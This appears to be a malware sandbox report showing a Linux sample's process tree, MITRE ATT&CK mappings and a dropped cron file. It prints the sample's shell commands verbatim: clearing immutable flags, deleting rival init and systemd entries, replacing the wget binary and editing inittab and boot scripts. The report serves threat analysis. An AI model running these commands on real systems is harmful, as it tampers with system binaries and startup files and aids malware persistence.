                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1323
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1324
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1325
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1326
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1327
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1329
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1330
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1331
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /var/tmp/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .grd1an vps --g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1322
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /var/tmp/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .grd1an vps --g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1334
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /var/tmp/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .grd1an vps --g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /var/tmp/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .grd1an vps --g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1450
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /var/tmp/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .grd1an vps --g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /var/tmp/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .grd1an vps --g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1535
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /var/tmp/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .grd1an vps --g
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1553

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  XDG Autostart Entries

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1547.013

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1037

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  RC Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1037.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Systemd Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1543.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Unix Shell Configuration Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1546.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  XDG Autostart Entries

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1547.013

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Boot or Logon Initialization Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1037

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  RC Scripts

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1037.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Systemd Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1543.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Unix Shell Configuration Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1546.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Cron

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1053.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1222

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Linux and Mac File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1222.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Path Interception by PATH Environment Variable

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1574.007

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1562

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Network Service Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1046

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1016

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Internet Connection Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1016.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  System Network Connections Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  T1049

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Path /etc/cron.d/guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Size 32B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • SHA256 f4aed9294bbe1038264345e61215820571207d519660bb217fd717bd05cc6dc1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Submit Download

